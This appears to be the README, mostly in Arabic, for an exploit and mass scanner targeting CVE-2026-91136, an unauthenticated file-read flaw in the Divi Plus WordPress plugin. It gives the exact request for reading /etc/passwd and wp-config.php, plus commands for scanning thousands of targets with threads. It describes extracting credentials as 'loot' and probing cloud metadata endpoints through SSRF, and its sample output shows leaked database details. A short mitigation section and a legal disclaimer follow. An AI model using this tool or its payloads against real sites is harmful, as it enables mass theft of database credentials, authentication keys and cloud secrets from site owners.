CVE-2026-91136 — Divi Plus ≤ 2.4.0 — إثبات مفهوم لقراءة ملفات عشوائية دون مصادقة

Divi Plus (Elicus) — إضافة WordPress ≤ 2.4.0 — قراءة ملفات عشوائية دون مصادقة عبر المعامل svg_image في مساحة أسماء REST التابعة لـ elicus/v1.

📋 نظرة عامة على الثغرة

🔍 الوصف التقني

تُرجع الدالة SVGAnimatorController::index_permission القيمة true دون أي شرط، لذا يمكن الوصول إلى نقطة النهاية /wp-json/elicus/v1/dipl-modules/svg-animator دون مصادقة. يمر مُدخل svg_image فقط عبر sanitize_text_field() وesc_html() — وهما لا يقيّدان مسارات نظام الملفات، ولا غلاف تدفق file://، ولا عناوين URL البعيدة — قبل تمريره إلى file_get_contents() (مع بديل wp_remote_get()). يُعاد جسم الاستجابة الخام في حقل JSON المسمّى html.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

التأثير: قراءة /etc/passwd، وwp-config.php (بيانات اعتماد قاعدة البيانات + مفاتيح التشفير)، والبيانات الوصفية السحابية عبر SSRF (169.254.169.254 / GCP / Azure / DO / OCI)، و.env وأي ملف آخر يستطيع مستخدم الويب قراءته.

🚀 الاستخدام

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 المخرجات

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• شريط تقدم حي على سطر واحد: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — الأهداف المؤكدة القابلة للاستغلال فقط

⚙️ الميزات

• البصمة: استجابة نقطة نهاية svg-animator + الإصدار عبر أصول divi-plus ?ver=
• أداة استعلام الإصدار: الفرع القابل للاستغلال يعيد محتويات الملفات؛ النسخة المُرقّعة/WAF تعيد 403/فارغ
• اكتشاف wp-config.php: مرشحات ثابتة + أدلة /home/<user>/ الحقيقية المستخرجة من /etc/passwd
• فحوصات SSRF: نقاط نهاية البيانات الوصفية لـ AWS / GCP / Azure / DigitalOcean / OCI
• استخراج الغنائم: بيانات اعتماد قاعدة البيانات + مفاتيح مصادقة WordPress، مع روابط مباشرة قابلة لإعادة الاستخدام لكل اكتشاف
• الوضع الجماعي: تجمّع خيوط، إزالة التكرار، إحصاء حي ✓/✗، تصدير JSONL + hits

📁 بنية الملفات

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ إخلاء المسؤولية

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ التخفيف

1. قم بتحديث Divi Plus إلى الإصدار 2.4.1 (أو أحدث)
2. قم بتدوير أي بيانات اعتماد تم كشفها عبر قراءة الملفات
3. احظر GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator على جدار الحماية WAF
4. راقب السجلات بحثًا عن قيم svg_image التي تحتوي على file:// أو /etc/ أو عناوين IP الخاصة بالبيانات الوصفية